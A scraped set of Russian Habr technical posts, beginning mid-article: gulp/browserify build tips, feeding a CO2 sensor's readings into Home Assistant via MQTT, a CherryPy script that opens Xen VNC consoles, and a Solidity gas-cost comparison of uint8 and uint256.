* заменить grunt на gulp. Решается проблема с компиляцией, а потом склейкой стилей и скриптов — убирается шаг записи на диск каждого отдельного файла;
* заменить sass на stylus, перевести все на инклуды в глобальный файл. Компиляция стилей ускоряется до менее чем секунды. Видимо, передача каждого файла из ноды в руби съедала очень много ресурсов. Да и ruby-sass не очень быстрая все же штука. Перенос, кстати, произошел вообще без проблем — sass использовался базовый, без миксинов и функций, а с определенной точки зрения формат sass можно назвать подмножеством формата stylus;
* Перевести весь coffeescript на JS для ускорения компиляции — благо, это были в основном старые виджеты;
* Перевести сборку js для приложения на browserify для кэширования.
В итоге сборка всего проекта начала занимать 3-4 секунды, отдельных типов файлов — около секунды.
watchdog отрабатывал вообще моментально, понятное дело.
С тех пор я и пользую стек gulp+browserify.
Из плюсов браузерифая — оборачивание виджетов в замыкание, плюс по сути простейшая валидация кода — он не пропустит код, который не сможет распарсить.
Однако мешало то, что провальный код заставлял сборщик вылетать. Это не дело было, конечно.
#### Обработка ошибок
Сначала решением было что-то вроде:
```
gulp.task('build-html', function () {
...
.pipe(plugins.jade()).on('error', console.log.bind(console))
...
```
Но, как оказалось, это не очень хорошо: стрим «подвисает» и повторно не запускается по обновлению.
Почему это происходит? Дело в том, что таск не завершается, а остается висеть в таком состоянии, а в gulp, похоже, повторный запуск невозможен без окончания предыдущего выполнения.
Я долго искал хорошее решение для этого вопроса, но со временем написал свою функцию для решения этой задачи:
```
function log(error) {
console.log([
'',
"----------ERROR MESSAGE START----------".bold.red.underline,
("[" + error.name + " in " + error.plugin + "]").red.bold.inverse,
error.message,
"----------ERROR MESSAGE END----------".bold.red.underline,
''
].join('\n'));
this.end();
}
gulp.task('build-html', function () {
...
.pipe(plugins.jade()).on('error', log)
...
```
Она еще и закрывает стрим (this.end()), вызывая завершение таска.
По желанию сюда можно добавить, например, оповещения growl, но мне лично и так хватает.
Функция требует предустановленного npm-пакета color и дает весьма красивый вывод. Если не хочется ставить лишние пакеты — можно убрать методы у цветов.
Самое главное тут — в последней строке.
Когда мы выполняем this.end(), конкретный таск gulp завершает свою работу. Да, это немножко гадит в память, но зато watchdog-таск сможет повторно запустить вашу сборку стилей, когда вы их обновите.
Выглядит это так:
#### Папки и файлы
Если у вас все аккуратно разложено по папочкам типа:
* assets
* styles
* scripts
* templates
То я вас поздравляю.
Но у меня лично все валяется примерно так:
И это удобно, куда удобнее чем было раньше. Почему? Да потому что у меня появилась возможность как угодно логически структурировать инклудящиеся друг в друга файлы, не изменяя ничего в сборщике.
Пишешь @require в стилях, лэйауты и инклуды в шаблонах и browserify для скриптов, все просто работает.
В итоге собирается это все в index.html, app.js и style.css — та самая база для любого проекта.
Как я это получил?
Во всех проектах я стараюсь держаться подобной схемы:
```
gulp.task('build-js', function () {
return gulp.src('src/**/[^_]*.js')
...
gulp.task('build-html', function () {
return gulp.src('src/**/[^_]*.jade')
...
gulp.task('build-css', function () {
return gulp.src('src/**/[^_]*.styl')
...
```
Что это за glob-путь такой?
Это выборка всех файлов, которые не начинаются с подчеркивания. На любой глубине. Соответственно, если вы называете файл src/lib/\_some\_lib.js, он не будет скомпилирован самостоятельно. А вот require его с удовольствием подцепит.
#### Склеивание результатов разных тасков
Сейчас я не пользуюсь этим приемом, потому что перешел на схему с инклудами всего и вся в коде, пишу по большей части по памяти, поэтому могу немного наврать.
Но это очень интересно, и в свое время я не нашел этого нигде.
Когда мне потребовалось решить задачу типа «склеить все CoffeeScript файлы и js-файлы из папки vendor, а потом из основной», сначала я огорчился, потому что не знал что делать. Почему такая последовательность — думаю, понятно — вендорные скрипты надо загружать первыми, а если это сделать как-то еще, все перемешается.
Но я знал, что если что-то есть в памяти, то это можно использовать, и начал копать. Все же в gulp используются родные стримы nodejs, а значит, с этим можно что-то сделать.
Пришел к самодельному решению:
```
var es = require('event-stream');
gulp.task('build', function(){
return es.concat(
gulp.src('scripts/vendor/*.coffee').pipe(coffee()),
gulp.src('scripts/vendor/*.js'),
gulp.src('scripts/*.coffee').pipe(coffee()),
gulp.src('scripts/*.js')
)
.pipe(concat())
.pipe(dest(...));
})
```
**Обратите внимание**: судя по новой документации event-stream, метод concat переименовали в merge. Я делал это последний раз полгода назад, поэтому сейчас у метода могут быть новые тонкости использования — код взят из реального относительно старого проекта, работающего со уже старой версией EventStream.
#### Подключение плагинов
Когда у вас 10-20 плагинов, становится несколько утомительно прописывать их вручную.
Для этого есть еще один плагин, который создает объект plugins с методами-плагинами, но все то же самое можно сделать куда очевиднее и проще:
```
var gulp = require('gulp'),
plugins = {};
Object.keys(require('./package.json')['devDependencies'])
.filter(function (pkg) { return pkg.indexOf('gulp-') === 0; })
.forEach(function (pkg) {
plugins[pkg.replace('gulp-', '').replace(/-/g, '_')] = require(pkg);
});
```
Если кто-то не понял, что именно делает этот код — он открывает содержимое devDependencies в package.json и все элементы, которые начинаются в нем с gulp- — подключает как plugins[pluginName]. Если плагин называется как-то типа gulp-css-base64, он будет доступен по plugins.css\_base64.
#### Как создать поток из текста
Иногда бывает нужно создать что-то в памяти и отправить в поток (да хоть той же склейкой). Опять же, для этого есть плагин, но зачем? Если можно все написать самому в три строки.
```
var gutil = require('gulp-util');
function string_from_src(filename, string) {
var src = require('stream').Readable({objectMode: true});
src._read = function () {
this.push(new gutil.File({cwd: "", base: "", path: filename, contents: new Buffer(string)}));
this.push(null);
};
return src;
}
```
Работает это все поверх Vynil FS из gulp-util, но какая нам разница?
#### Плагины для browserify
Почему browserify в посте про gulp? Да потому что его можно назвать мета-системой сборки, которая используется в других системах. Его возможности уже давным-давно вышли за пределы простой склейки js-модулей, а в следующей части поста все вообще сойдется воедино.
Если вы пользуетесь browserify и commonJS модулями — скажите честно, вам хотелось когда-нибудь писать вот так?
```
var vm = new Vue({
template: require('./templates/_app.html.jade'),
...
```
Это реальный код из того самого проекта, за пост о котором за мной прилетело НЛО, кстати.
Как оказалось, клепать свои плагины для browserify — элементарно.
Реальный таск для сборки JS в итоге выглядит так:
```
gulp.task('build-js', function () {
return gulp.src('src/**/[^_]*.js')
.pipe(plugins.browserify(
{
transform: [require('./lib/html-jadeify'), 'es6ify'],
debug : true
}
)).on("error", log)
.pipe(gulp.dest("build"));
});
```
Что это за… и как он работает? Да очень просто.
Простейшая обертка выглядит как-то так:
```
var through = require('through'),
jade = require('jade');
function Jadify(file) {
var data = '';
if (/\.html\.jade$/.test(file) === false)
return through();
else
return through(write, end);
function write(buf) { data += buf; }
function end() {
compile(file, data, function (error, result) {
if (error) stream.emit('error', error);
else stream.queue(result);
stream.queue(null);
});
}
}
function compile(file, data, callback) {
callback(null,
'module.exports = "' + jade.render(data, {filename: file})+ '"\n';
);
}
Jadify.compile = compile;
Jadify.sourceMap = true; // use source maps by default
module.exports = Jadify;
```
В дальнейшем я буду цитировать только функцию compile — для экономии места.
Если тут есть browserify-ниндзя, которые уже знают все плагины наязусть, они спросят «ну и чо?».
Да ничо.
В таком виде плагины уже существуют.
Но фишка в том, что мы можем изменять синтаксис.
Например:
```
callback(null,
'module.exports = "' + jade.render(data, {filename: file})
.replace(/"/mg, '\\"')
.replace(/\n/mg, '\\n')
.replace(/@inject '([^']*)'/mg, '"+require("$1")+"')
+ '"\n'
);
```
И теперь в jade-шаблоне мы можем написать
```
style @inject './_font_styles.styl'
```
В итоге мы можем инклудить шаблоны на jade в js, а стили в шаблоны на jade.
Мы можем подключать несколько сборщиков разом, например:
```
callback(null, 'module.exports = ' + dot.template(jade.render(data, {
filename: file
})) + '\n');
```
Это мы делаем JS-функцию шаблона на DoT (handlebars-подобный шаблонизатор поверх HTML), обернутый в Jade.
А можем даже…
… барабанная дробь…
… использовать плагины gulp для создания плагинов browserify, которые мы сможем подключить в качестве таска gulp
и, наконец, развязка всего поста. Мы можем превращать эту строку data в поток (о чем я как раз рассказывал в середине поста), который можно использовать с gulp. Мы берем функцию, которую я показывал выше, и получаем…
```
function string_src(filename, string) {
var src = require('stream').Readable({ objectMode: true });
src._read = function () {
this.push(new gutil.File({ cwd: "", base: "", path: filename, contents: new Buffer(string) }));
this.push(null)
};
return src;
}
function compile(path, data, cb) {
string_src(path, data)
.pipe(gulp_stylus())
.pipe(gulp_css_base64({maxWeightResource: 32 * 1024}))
.pipe(gulp_autoprefixer())
.pipe(gulp_cssmin())
.on('data', function(file){
cb(null, "module.exports = \""+
file.contents.toString()
.replace(/"/mg, '\\"')
.replace(/\n/mg, '\\n')
+ '"');
})
.on('error', cb);
}
```
Еще раз, очень внимательно:
```
string_src(path, data)
.pipe(gulp_stylus())
.pipe(gulp_css_base64({maxWeightResource: 32 * 1024}))
.pipe(gulp_autoprefixer())
.pipe(gulp_cssmin())
.on('data', function(file){
cb(null, "module.exports = \""+
file.contents.toString()
.replace(/"/mg, '\\"')
.replace(/\n/mg, '\\n')
+ '"');
})
```
Мы только что пропустили через кучу плагинов gulp данные, которые ушли в browserify.
Да, выходит немного гемморойно. Но результат того стоит.
Зачем? ~~Во славу сатане, конечно~~ Потому что нельзя было просто взять и настроить в browserify сборку Stylus-стилей, которые бы еще и высасывали base64-картинки, и проходили бы через автопрефиксер и минификацию.
#### Заключение
gulp — удивительная по изяществу система, которую можно подстроить под себя в большинстве случаев. А то, что ее плагины можно использовать в browserify (а, значит, и других проектах) — это вообще гениально. Да, немного гемморойно, но это нечто.
Я надеюсь, вы узнали что-то новое. Точнее я уверен в этом, но хотелось красиво сказать.
А я надеюсь, что НЛО вернет меня на Хабр и даст рассказать про нейронные сети внутри Web Worker-ов и алгоритмы, которые умеют выдавать точные рекомендации по музыкальным предпочтениям пользователя на основании крайне малого количества данных. | https://habr.com/ru/post/242379/ | null | ru | null |
# Получение данных с датчика углекислого газа Даджет в системы умного дома
Датчик углекислого газа Даджет KIT MT8057S давно зарекомендовал себя как достаточно надежный и недорогой прибор. Один недостаток, на мой взгляд — официально данные с него можно получать только фирменной программой под windows, и никак иначе.
Тем не менее, получить данные в linux относительно несложно. Пришлось использовать небольшой костыль, но в итоге показатели co2 и температуры можно получить в консоль, и отправить дальше.
В этой статье рассмотрена отправка данных в IoBroker и Home Assistant.
Потребуется библиотека libhidapi и небольшая программка co2mon, размещена на гитхабе.
```
apt-get install git cmake g++ pkg-config libhidapi-dev
```
Скачиваем и компилируем программу co2mon
```
mkdir co2
cd co2
git clone https://github.com/dmage/co2mon.git
cd co2mon
mkdir build
cd build
cmake ..
make
cd co2mond
mv co2mond ../../../co2mond
```
Возможно, пути придется подкорректировать под вашу систему.
Программа эта работает в двух режимах — постоянное получение данных в консоли, и в режиме демона. Будучи запущенной без параметров, программа постоянно выводит в консоль текущие показания, пока не будет принудительно закрыта. Немного странное решение, может я не разобрался, но работаем с тем что имеем.
В обоих режимах программа может сохранять данные в текстовые файлы, достаточно добавить ключ -D и указать путь к каталогу.
Я не хотел вешать на и без того слабенький сервер умного дома еще один демон, да и данные об углекислом газе не меняются быстро. Поэтому накидал простенький скрипт, который запускает программу, ждет пять секунд, и убивает ее.
```
#!/bin/bash
cd /home/server/co2
./co2mond -D /home/server/co2 > log.txt &
sleep 5
pkill co2mond
rm log.txt
```
Добавляем скрипт в cron, я запускаю его раз в минуту, этого более чем достаточно.
Готово! Теперь в двух текстовых файлах, которые создает программа, есть текущие показания климата.
Важный момент — для получения данных с usb у пользователя должны быть соответствующие права, или cron надо запускать от root'a, соответственно создаваемые текстовые файлы будут тоже рутовыми, это надо учитывать.
Теперь вторая часть — отправляем полученные данные в системы умного дома. Начнем с IoBroker. Для начала с него, так как на тот момент, когда я задался этой задачей, пользовался им.
Там все просто — есть адаптор systeminfo, который умеет читать в том числе и файлы с файловой системы. Не то, чтобы данные температуры были нужны, но почему бы и нет.
Сохраняем, и вуаля:
А потом я перешел на Home Assistant. В нем я использую mosquitto, и данные решил отправлять через него, нацеливаясь на разделение компьютеров в будущем или добавление датчиков.
Установку и настройку брокера не рассматриваю, это выходит за пределы статьи.
На компьютер, к которому подключен датчик, надо установить клиент mosquitto, если он не стоит:
```
apt-get install mosquitto-clients
```
В конфиг Home Assistant добавляем два сенсора, и перезагружаем:
```
- platform: mqtt
state_topic: "co2/co2"
name: "co2.co2"
unit_of_measurement: ppm
- platform: mqtt
state_topic: "co2/temp"
name: "co2.temp"
unit_of_measurement: °C
```
В скрипт, который получает данные, добавляем четыре строчки:
```
read co2 /home/server/co2/CntR
read temp /home/server/co2/Tamb
mosquitto_pub -h localhost -t "co2/co2" -m $co2 -u "пользователь" -P "пароль"
mosquitto_pub -h localhost -t "co2/temp" -m $temp -u "пользователь" -P "пароль"
```
Готово, вы прекрасны) Теперь наш крон раз в минуту публикует показания датчиков в топик co2, и которого Home Assistant в свою очередь их считывает:
Теперь мы имеем в системе умного дома данные датчиков, и можно запланировать автоматизацию. У меня включается вытяжка, управляемой приточной вентиляции у меня пока нет, но если включить вытяжку, воздух постепенно обновляется. | https://habr.com/ru/post/509666/ | null | ru | null |
# XEN: Простой скрипт для быстрого открытия VNC-консолей
Постановка задачи
-----------------
#### Описание проблемы
В работе активно используется Xen с HVM виртуализацией. Часто бывает нужно получить доступ к консоли виртуальных машин, причем в том числе и тем, у кого доступа на севера с Xenом нет. У Xenа для этого есть возможность создавать для каждой виртуальной машины VNC-консоль, но каждый раз подключаться через VNC вручную неудобно.
#### Задача
Сделать веб-страницу со списком запущенных виртуальных машин и внедренным в нее VNC-апплетом, который можно открыть по нажатию ссылки. По пути разобраться с тем, как можно работать с Xenом из Питона.
Что получилось
--------------
#### Список запущенных domU
#### Сама VNC-консоль
Как получилось
--------------
Я использовал Питон и легкий веб-фреймворк CherrуPy.
#### Из чего состоит
```
vm_console.py # сам скрипт
static # директория со статическими файлами
static/table.htm # шаблон для списка domU, в который потом подставляется сам список с помощью интерполяции
static/vnc.js # javascript для открытия нового окна с VNC-апплетом и подстраивания размеров окна под апплет
static/vnc.htm # шаблон для нового окна с VNC-апплетом, в который нужные данные подставляются с помощью интерполяции
static/tightvnc-jviewer.jar # java-апплет для подключения к VNC, взят с http://www.tightvnc.com/
static/styles.css # стили для таблицы со списком domU, взяты с http://veerle-v2.duoh.com/blog/comments/a_css_styled_table/
static/images # картинки для стилей таблицы
static/images/bg_header.jpg
static/images/bullet1.gif
```
#### Сам скрпит
Логика работы скрипта следующая:
```
По запросу веб-страницы
Получить список запущенных domU и портов их VNC-консолей
Отобразить этот список
По нажатию на соответвующий порт
Открыть новую страницу с внедренным в нее java VNC-апплетом
Передать этому апплету нужный адрес и порт
```
Импортируем нужные модули: сам cherrypy, модуль для взаимодействия с XEN-сервером и модуль для регулярных выражений чтобы заматчить адрес и порт VNC-сервера:
```
import cherrypy
from xen.util.xmlrpcclient import ServerProxy
import re
```
Класс для получения списка запущенных domU и формирования таблицы:
```
class xen():
"""Communicates with xen via rpc"""
@staticmethod
def get_domains():
"""Gets a dictionary with 'Domain Name':'VNC host:port' structure"""
server = ServerProxy('httpu:///var/run/xend/xmlrpc.sock')
domains = server.xend.domains_with_state(True, 'all', 1)
domain_list = {}
for first_level in domains: # iterate through first level parameters
for second_level in first_level: # iterate through second level parameters
if second_level[0] == "name" and second_level[1] != "Domain-0":
domain_list_current = second_level[1]
if second_level[0] == "device":
for third_level in second_level[1]: # iterate through third level subparameters
if third_level[0] == "location" and re.match("\d+\.\d+\.\d+\.\d+\:\d\d\d\d", third_level[1]):
domain_list[domain_list_current] = str(third_level[1])
return domain_list
@staticmethod
def create_domain_table():
"""Creates table from domain list"""
table = """
List of active domUs domU | VNC host:port |
"""
domain\_list = xen.get\_domains()
for k, v in domain\_list.iteritems():
link = v.split(':', 1)[1]
table += """
| %s | [%s](javascript:vnc_console('/vnc/%s')) |
""" % (k, link, v)
table += "
"
return table
```
Он подключается к XEN-серверу через сокет, и вытаскивает из него спиок запущенных domU со множеством атрибутов. Затем из этих атрибутов вытаскиваются нужные: имя domU и адрес: порт VNC-сервера. После этого формируется таблица со списком запущенных domU.
Метод подключения я подсмотрел в идущей в поставке с ксеном утилите xm, у меня она лежит в
```
/usr/lib64/python2.7/site-packages/xen/util/xmlrpcclient.py
```
Возможно в будущем, если будет время, я переделаю подключение ко XEN-серверу более правильным способом через XenApi.
Класс для отображения веб-страницы:
```
class listvm(object):
def index(self, port=None):
"""Just a stub"""
return """[vnc](/vnc/)
============
"""
index.exposed = True
def vnc(self, port=None):
"""Show running vm's or open vnc applet"""
if port:
template = open("static/vnc.htm", 'r').read()
return template % port
else:
template = open("static/table.htm", 'r').read()
return template % xen.create_domain_table()
vnc.exposed = True
```
Нас интересует функция vnc. Eсли перейти на
```
<адрес сервера>/vnc
```
она отобразит список запущенных domU, если же передать ей нужный порт через слеш, например
```
<адрес сервера>/vnc/5900
```
она запустит нужную консоль. Консоли запускаются с помощью выдранной из Proxmox VE функции на javascript. После открытия апплета еще одна функция из Proxmox VE подстраивает размеры нового окна под необходимые.
Конфиг вебсервера cherrypy, здесь все тривиально:
```
server_config = {
'server.socket_host': '127.0.0.1',
'server.socket_port': 80,
'tools.staticdir.root': "/usr/local/vm_console",
'tools.staticdir.debug': True,
}
cherrypy.config.update(server_config)
listvm_config = {
'/static':
{'tools.staticdir.on': True,
'tools.staticdir.dir': "static",
}
}
cherrypy.tree.mount(listvm(), '/', config=listvm_config)
cherrypy.engine.start()
cherrypy.engine.block()
```
Хочу потыкать
-------------
Я выложил все на github, взять можно здесь: [github.com/sistemshik/vm\_console](https://github.com/sistemshik/vm_console) | https://habr.com/ru/post/143694/ | null | ru | null |
# Оптимизация смарт-контрактов. Как разрядность типов Solidity влияет на цену транзакций
> *«Программисты тратят огромное количество времени беспокоясь о скорости работы своих программ, и попытки достичь эффективности зачастую оказывают резко негативное влияние на возможность их отладки и поддержки. Необходимо забыть о маленьких оптимизациях, скажем, в 97% случаев. Преждевременная оптимизация это корень всех зол! Но мы не должны упускать из виду те 3%, где это действительно важно!».*
>
> **Дональд Кнут.**
>
>
Проводя аудиты смарт-контрактов, мы иногда задаём себе вопрос относится ли их разработка к тем 97%, где нет необходимости думать об оптимизации или мы имеем дело как раз с теми 3% случаев, где она важна. На наш взгляд, скорее второе. В отличие от других приложений, смарт-контракты не обновляемы, их невозможно оптимизировать «на ходу» (при условии, если в их алгоритм это не заложено, но это отдельная тема). Второй довод в пользу *ранней* оптимизации контрактов — то, что, в отличие от большинства систем, где неоптимальность проявляется только в масштабе, связана со спецификой железа и окружения, измеряется колоссальным количеством метрик, смарт-контракт обладает по сути единственной метрикой производительности — потребление газа.
Поэтому эффективность контракта оценить технически проще, но разработчики зачастую продолжают полагаться на свою интуицию и делают ту самую, слепую «преждевременную оптимизацию», о которой говорил профессор Кнут. Мы проверим насколько интуитивное решение соответствует реальности на примере выбора разрядности переменной. В данном примере, как и в большинстве практических случаев, мы не добьёмся экономии, и даже наоборот, наш контракт получится более дорогим в плане потребляемого газа.
Что за газ?
-----------
Ethereum похож на глобальный компьютер, «процессором» которого является виртуальная машина EVM, «программным кодом» является последовательность команд и данных, записанных в смарт-контракте, а вызовы — это транзакции, поступающие из внешнего мира. Транзакции упаковываются в связанные друг с другом структуры — блоки, возникающие раз в несколько секунд. И так как размер блока по определению ограничен, а протокол обработки детерминирован (требует единообразной обработки всех транзакций в блоке всеми узлами сети), то для удовлетворения потенциально неограниченного спроса ограниченным ресурсом узлов и защиты от DoS" система должна предусматривать справедливый алгоритм выбора чей запрос обслуживать, а чей игнорировать. В качестве такого механизма во многих публичных блокчейнах действует простой принцип — отправитель может выбирать размер вознаграждения майнеру за исполнение своей транзакции, а майнер самостоятельно выбирает чьи запросы включать в блок, а чьи нет, выбирая наиболее выгодные для себя.
Например, в Bitcoin, где блок ограничен одним мегабайтом, майнер выбирает включать транзакцию в блок или нет исходя из её длины и предложенной комиссии (выбирая те, у которых соотношение satoshis per byte максимально).
Для более сложного протокола Ethereum такой подход не годится, ведь один байт может представлять собой как отсутствие операции (например, код STOP), так и дорогостоящую и медленную операцию записи в хранилище (SSTORE). Поэтому для каждого оп-кода в эфире предусмотрена своя цена в зависимости от его ресурсоёмкости.
**Fee Schedule из спецификации протокола**
Таблица расхода газа по разным типам операций. Из спецификации протокола [Ethereum Yellow Paper](http://paper.gavwood.com).
В отличие от Bitcoin, отправитель Ethereum-транзакции устанавливает не комиссию в криптовалюте, а максимальное кол-во газа, которое он готов потратить — **startGas** и цену за единицу газа — **gasPrice**. При исполнении кода виртуальной машиной из startGas вычитается кол-во газа за каждую следующую операцию, пока либо не будет достигнут выход из кода, либо не закончится газ. Видимо, поэтому и используется такое странное название для этой единицы работы — транзакцию заправляют газом как автомобиль, а доедет он до точки назначения или нет зависит от того, хватит ли заправленного в бак объёма. По завершении исполнения кода с отправителя транзакции списывается объём эфира, полученный умножением фактически израсходованного газа на заданную отправителем цену ([wei](http://ethdocs.org/en/latest/ether.html) per gas). В глобальной сети это происходит в момент «майнинга» блока, в который включена соответствующая транзакция, а в среде Remix транзакция «майнится» мгновенно, бесплатно и без каких-либо условий.
Наш инструмент — Remix IDE
--------------------------
Для «профайлинга» расхода газа мы будем использовать онлайн-среду разработки Ethereum контрактов [Remix IDE](http://remix.ethereum.org). Этот IDE содержит редактор кода с подсветкой синтаксиса, просмотрщик артефактов, рендер интерфейсов контрактов, визуальный отладчик виртуальной машины, JS-компиляторы всех возможных версий и множество других важных инструментов. Очень рекомендую начинать изучение эфира именно с него. Дополнительный плюс, что он не требует установки — достаточно открыть его в браузере с [официального сайта](https://remix.ethereum.org).
Выбор типа переменной
---------------------
[Спецификация языка Solidity](https://solidity.readthedocs.io/en/v0.4.24/types.html) предлагает разработчику аж тридцать две разрядности целочисленных типов uint — от 8 до 256 бит. Представьте, что вы разрабатываете смарт-контракт, который предназначен для хранения возраста человека в годах. Какую разрядность uint выберите вы?
Вполне естественным было бы выбрать минимально достаточный тип для конкретной задачи — математически тут подошёл бы uint8. Логичным было бы предположить, что чем меньший по размеру объект мы храним в блокчейне и чем меньше мы расходуем памяти при исполнении, меньше имеем накладных расходов, тем меньше платим. Но в большинстве случаев такое предположение окажется неверным.
Для эксперимента возьмём самый простой контракт из того, что предлагает официальная [документация Solidity](https://solidity.readthedocs.io/en/v0.4.24/introduction-to-smart-contracts.html) и соберём его в двух вариантах — с использованием типа переменной uint256 и в 32 раза меньшего типа — uint8.
**simpleStorage\_uint256.sol**````
pragma solidity ^0.4.0;
contract SimpleStorage {
//uint is alias for uint256
uint storedData;
function set(uint x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
}
````
**simpleStorage\_uint8.sol**````
pragma solidity ^0.4.0;
contract SimpleStorage {
uint8 storedData;
function set(uint8 x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
}
````
Измеряем «экономию»
-------------------
Итак, контракты созданы, загружены в Remix, задеплоены и транзакциями выполнены вызовы методов .set(). Что же мы видим? **Запись длинного типа стоит дороже чем короткого** — 20464 против 20205 gas units! Как? Почему? Давайте разбираться!
Хранение uint8 против uint256
-----------------------------
Запись в постоянное хранилище это одна из самых дорогостоящих операций в протоколе по вполне понятным причинам: во-первых запись состояния увеличивает размер дискового пространства, необходимого полному узлу. Размер этого хранилища постоянно увеличивается, и чем больше состояний хранится у узлов, тем медленнее происходит синхронизация, выше требования к инфраструктуре (размеру раздела, количеству iops). В моменты пиковых нагрузок именно медленные дисковые IO операции определяют производительность всей сети.
Было бы логичным ожидать, что хранение uint8 должно стоить в десятки раз дешевле чем uint256. Однако, в отладчике вы можете видеть, что оба значения располагаются абсолютно одинаково в storage slot в виде 256-битного value.
И в данном конкретном случае применение uint8 не даёт никакого преимущества по стоимости записи в хранилище.
Обработка uint8 против uint256
------------------------------
Может быть, мы получим преимущества при работе с uint8 если не при хранении, то хотя бы при манипуляции с данными в памяти? Ниже сравниваются инструкции одной и той же функции полученные для разных типов переменных.
Вы можете видеть, что операции с uint8 имеют даже **большее количество инструкций**, чем uint256. Это объясняется тем, что машина приводят 8-битное значение к нативному 256-битному слову, и в результате код обрастает дополнительными инструкциями, которые оплачивает отправитель. Не только запись, но и исполнение кода с uint8 типом в данном случае оказывается дороже.
Где же может быть оправдано применение коротких типов?
------------------------------------------------------
Наша команда давно занимается аудитом смарт-контрактов, и пока ещё не было ни одного практического случая, где применение малого типа в предоставленном на аудит коде приводило бы к экономии. Между тем, в некоторых очень специфических кейсах экономия теоретически возможна. Например, если ваш контракт хранит большое количество малых state variables или структур, то они имеют возможность быть упакованными в меньшее количество слотов хранилища.
Разница будет наиболее очевидна в следующем примере:
1. контракт с 32мя переменными uint256
**simpleStorage\_32x\_uint256.sol**````
pragma solidity ^0.4.0;
contract SimpleStorage {
uint storedData1;
uint storedData2;
uint storedData3;
uint storedData4;
uint storedData5;
uint storedData6;
uint storedData7;
uint storedData8;
uint storedData9;
uint storedData10;
uint storedData11;
uint storedData12;
uint storedData13;
uint storedData14;
uint storedData15;
uint storedData16;
uint storedData17;
uint storedData18;
uint storedData19;
uint storedData20;
uint storedData21;
uint storedData22;
uint storedData23;
uint storedData24;
uint storedData25;
uint storedData26;
uint storedData27;
uint storedData28;
uint storedData29;
uint storedData30;
uint storedData31;
uint storedData32;
function set(uint x) public {
storedData1 = x;
storedData2 = x;
storedData3 = x;
storedData4 = x;
storedData5 = x;
storedData6 = x;
storedData7 = x;
storedData8 = x;
storedData9 = x;
storedData10 = x;
storedData11 = x;
storedData12 = x;
storedData13 = x;
storedData14 = x;
storedData15 = x;
storedData16 = x;
storedData17 = x;
storedData18 = x;
storedData19 = x;
storedData20 = x;
storedData21 = x;
storedData22 = x;
storedData23 = x;
storedData24 = x;
storedData25 = x;
storedData26 = x;
storedData27 = x;
storedData28 = x;
storedData29 = x;
storedData30 = x;
storedData31 = x;
storedData32 = x;
}
function get() public view returns (uint) {
return storedData1;
}
}
````
2. контракт с 32мя переменными uint8
**simpleStorage\_32x\_uint8.sol**````
pragma solidity ^0.4.0;
contract SimpleStorage {
uint8 storedData1;
uint8 storedData2;
uint8 storedData3;
uint8 storedData4;
uint8 storedData5;
uint8 storedData6;
uint8 storedData7;
uint8 storedData8;
uint8 storedData9;
uint8 storedData10;
uint8 storedData11;
uint8 storedData12;
uint8 storedData13;
uint8 storedData14;
uint8 storedData15;
uint8 storedData16;
uint8 storedData17;
uint8 storedData18;
uint8 storedData19;
uint8 storedData20;
uint8 storedData21;
uint8 storedData22;
uint8 storedData23;
uint8 storedData24;
uint8 storedData25;
uint8 storedData26;
uint8 storedData27;
uint8 storedData28;
uint8 storedData29;
uint8 storedData30;
uint8 storedData31;
uint8 storedData32;
function set(uint8 x) public {
storedData1 = x;
storedData2 = x;
storedData3 = x;
storedData4 = x;
storedData5 = x;
storedData6 = x;
storedData7 = x;
storedData8 = x;
storedData9 = x;
storedData10 = x;
storedData11 = x;
storedData12 = x;
storedData13 = x;
storedData14 = x;
storedData15 = x;
storedData16 = x;
storedData17 = x;
storedData18 = x;
storedData19 = x;
storedData20 = x;
storedData21 = x;
storedData22 = x;
storedData23 = x;
storedData24 = x;
storedData25 = x;
storedData26 = x;
storedData27 = x;
storedData28 = x;
storedData29 = x;
storedData30 = x;
storedData31 = x;
storedData32 = x;
}
function get() public view returns (uint) {
return storedData1;
}
}
````
Деплой первого контракта (32 uint256) будет стоить дешевле — всего 89941 gas, но .set() окажется значительно более дорогим т.к. будет оккупировать 256 слотов в хранилище, что обойдётся 640639 gas на каждый вызов. Второй контракт (32 uint8) окажется в два с половиной раза дороже при деплое (221663 gas), но зато каждый вызов метода .set() будет многократно дешевле, т.к. изменяет только одну ячейку сторэджа (185291 gas).
Применять ли такую оптимизацию?
-------------------------------
Насколько значителен эффект от оптимизации типов — вопрос спорный. Как видите, даже для такого специально подобранного, синтетического кейса мы **не получили** многократной разницы. Выбор использовать uint8 или uint256 — это скорее иллюстрация того, что оптимизацию нужно либо применять осмысленно (с пониманием инструментов, профайлингом), либо не задумываться о ней вообще. Вот несколько общих рекомендаций:
* если контракт содержит в хранилище множество небольших чисел или компактных структур, то об оптимизации думать можно;
* если используете «сокращённый» тип — помните про [over-/under-flow уязвимости](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d);
* для memory- переменных и аргументов функций, не записываемых в хранилище, всегда лучше использовать нативный тип uint256 (или его алиас uint). Например, нет никакого смысла присваивать итератору списка тип uint8 — только проиграете;
* огромное значение для корректноого упаковывания в слоты хранилища для компилятора имеет [порядок следования переменных в контракте](http://solidity.readthedocs.io/en/develop/miscellaneous.html#layout-of-state-variables-in-storage).
Ссылки
------
Закончу советом, не имеющим никаких противопоказаний: экспериментируйте с инструментами разработки, знайте спецификации языка, библиотеки и фрэймворки. Приведу самые полезные, на мой взгляд, ссылки для начала изучения платформы Ethereum:
* Среда разработки контрактов [Remix](http://remix.ethereum.org) — очень функциональный браузерный IDE;
* [Спецификация языка Solidity](http://solidity.readthedocs.io/en/develop/miscellaneous.html#layout-of-state-variables-in-storage), по ссылке попадёте конкретно в раздел про State Variables Layout;
* [Очень интересный репозиторий](https://github.com/OpenZeppelin/openzeppelin-solidity) контрактов от известной команды OpenZeppelin. Примеры реализации токенов, краудсэйл-контрактов, и самое главное — библиотека [SafeMath](https://github.com/OpenZeppelin/openzeppelin-solidity/tree/master/contracts/math), та самая, которая помогает безопасно работать с типами;
* [Ethereum Yellow Paper](http://gavwood.com/paper.pdf), формальная спецификация виртуальной машины Ethereum;
* [Ethereum White Paper](https://github.com/ethereum/wiki/wiki/White-Paper), спецификация Ethereum платформы, более общий и высокоуровневый документ с большим количеством ссылок;
* [Ethereum in 25 minutes](https://www.youtube.com/watch?v=mCzyDLanA7s), короткое, но тем не менее, ёмкое техническое введение в Ethereum от создателя платформы Виталика Бутерина;
